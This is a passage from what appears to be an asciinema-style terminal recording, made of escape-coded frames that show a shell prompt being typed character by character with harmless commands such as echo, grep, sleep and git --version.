\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;176;184;194mAPP\"\u001b[0m\u001b[0m\u001b[17;10H\u001b[?25h"] -[0.073, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[0m\u001b[17;11H\u001b[?25h"] -[0.073, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[0m\u001b[17;12H\u001b[?25h"] -[0.083, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[0m\u001b[17;13H\u001b[?25h"] -[0.071, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[0m\u001b[17;14H\u001b[?25h"] -[0.073, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[0m\u001b[17;15H\u001b[?25h"] -[0.077, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[0m\u001b[17;16H\u001b[?25h"] -[0.078, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[0m\u001b[17;17H\u001b[?25h"] -[0.081, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[0m\u001b[17;18H\u001b[?25h"] -[0.076, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;205;115;123mg\u001b[0m\u001b[0m\u001b[17;19H\u001b[?25h"] -[0.079, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236mg\u001b[0m\u001b[38;2;242;240;236mr\u001b[0m\u001b[0m\u001b[17;20H\u001b[?25h"] -[0.004, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mr\u001b[0m\u001b[0m\u001b[17;20H\u001b[?25h"] -[0.070, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236mg\u001b[0m\u001b[38;2;242;240;236mr\u001b[0m\u001b[38;2;242;240;236me\u001b[0m\u001b[0m\u001b[17;21H\u001b[?25h"] -[0.001, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mr\u001b[0m\u001b[38;2;205;115;123me\u001b[0m\u001b[0m\u001b[17;21H\u001b[?25h"] -[0.073, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236mg\u001b[0m\u001b[38;2;242;240;236mr\u001b[0m\u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236mp\u001b[0m\u001b[0m\u001b[17;22H\u001b[?25h"] -[0.001, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mr\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mp\u001b[0m\u001b[0m\u001b[17;22H\u001b[?25h"] -[0.078, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mr\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mp\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[0m\u001b[17;23H\u001b[?25h"] -[0.077, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mr\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mp\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236mU\u001b[0m\u001b[0m\u001b[17;24H\u001b[?25h"] -[0.074, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mr\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mp\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236mU\u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[0m\u001b[17;25H\u001b[?25h"] -[0.077, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mr\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mp\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236mU\u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236me\u001b[0m\u001b[0m\u001b[17;26H\u001b[?25h"] -[0.076, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mr\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mp\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236mU\u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236mr\u001b[0m\u001b[0m\u001b[17;27H\u001b[?25h"] -[0.075, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;198;156;109m$\u001b[0m\u001b[38;2;198;156;109mH\u001b[0m\u001b[38;2;198;156;109mO\u001b[0m\u001b[38;2;198;156;109mM\u001b[0m\u001b[38;2;198;156;109mE\u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;125;133;144m|\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mr\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mp\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236mU\u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236mr\u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[0m\u001b[17;28H\u001b[?25h"] -[1.575, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[0m\u001b[17;3H\u001b[?25h"] -[0.513, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;176;184;194mource .venv/bin/activate\u001b[0m\u001b[0m\u001b[17;4H\u001b[?25h"] -[0.002, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123ms\u001b[0m\u001b[38;2;176;184;194mource .venv/bin/activate\u001b[0m\u001b[0m\u001b[17;4H\u001b[?25h"] -[0.079, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236ml\u001b[0m\u001b[38;2;176;184;194meep 2\u001b[0m\u001b[0m\u001b[17;5H\u001b[?25h"] -[0.001, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123ms\u001b[0m\u001b[38;2;205;115;123ml\u001b[0m\u001b[38;2;176;184;194meep 2\u001b[0m\u001b[0m\u001b[17;5H\u001b[?25h"] -[0.072, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236ml\u001b[0m\u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;176;184;194mep 2\u001b[0m\u001b[0m\u001b[17;6H\u001b[?25h"] -[0.002, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123ms\u001b[0m\u001b[38;2;205;115;123ml\u001b[0m\u001b[38;2;205;115;123me\u001b[0m\u001b[38;2;176;184;194mep 2\u001b[0m\u001b[0m\u001b[17;6H\u001b[?25h"] -[0.071, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236ml\u001b[0m\u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;176;184;194mp 2\u001b[0m\u001b[0m\u001b[17;7H\u001b[?25h"] -[0.001, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123ms\u001b[0m\u001b[38;2;205;115;123ml\u001b[0m\u001b[38;2;205;115;123me\u001b[0m\u001b[38;2;205;115;123me\u001b[0m\u001b[38;2;176;184;194mp 2\u001b[0m\u001b[0m\u001b[17;7H\u001b[?25h"] -[0.070, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236ml\u001b[0m\u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236mp\u001b[0m\u001b[38;2;176;184;194m 2\u001b[0m\u001b[0m\u001b[17;8H\u001b[?25h"] -[0.002, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232ms\u001b[0m\u001b[38;2;197;185;232ml\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mp\u001b[0m\u001b[38;2;176;184;194m 2\u001b[0m\u001b[0m\u001b[17;8H\u001b[?25h"] -[0.071, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232ms\u001b[0m\u001b[38;2;197;185;232ml\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mp\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m2\u001b[0m\u001b[0m\u001b[17;9H\u001b[?25h"] -[0.072, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232ms\u001b[0m\u001b[38;2;197;185;232ml\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mp\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236m3\u001b[0m\u001b[0m\u001b[17;10H\u001b[?25h"] -[1.095, "o", "\u001b[?25l\u001b[8;1H\u001b[2K\u001b[0m\u001b[38;2;242;240;236m❯ \u001b[0m\u001b[38;2;197;185;232mgit\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m--version\u001b[0m\u001b[0m\u001b[9;1H\u001b[2Kgit version 2.55.0\u001b[0m\u001b[0m\u001b[10;1H\u001b[2K\u001b[0m\u001b[0m\u001b[11;1H\u001b[2K\u001b[0m\u001b[38;2;116;181;154m✔ Roasted for 0.0s\u001b[0m\u001b[38;2;116;181;154m\u001b[38;2;176;184;194m · done 02:22\u001b[0m\u001b[0m\u001b[12;1H\u001b[2K\u001b[0m\u001b[0m\u001b[13;1H\u001b[2K\u001b[0m\u001b[38;2;242;240;236m❯ \u001b[0m\u001b[38;2;197;185;232msleep\u001b[0m\u001b[38;2;242;240;236m 3\u001b[0m\u001b[0m\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m·\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (0.0s)\u001b[0m\u001b[0m\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[0m\u001b[17;3H\u001b[?25h"] -[0.129, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m·\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (0.1s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.102, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✢\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (0.2s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.104, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✳\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;154;146;190m…\u001b[38;2;176;184;194m (0.3s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.099, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✳\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;146;139;184mg\u001b[38;2;194;186;224m…\u001b[38;2;176;184;194m (0.4s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.101, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✶\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;187;178;218mg\u001b[38;2;187;179;218m…\u001b[38;2;176;184;194m (0.5s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.106, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✶\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;180;172;212mn\u001b[38;2;194;186;224mg\u001b[38;2;146;139;184m…\u001b[38;2;176;184;194m (0.6s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.098, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✻\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;172;164;206mi\u001b[38;2;202;193;230mn\u001b[38;2;154;146;190mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (0.7s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.102, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m*\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;165;157;200mp\u001b[38;2;209;200;236mi\u001b[38;2;161;153;196mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (0.8s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.101, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m*\u001b[38;2;139;132;178m 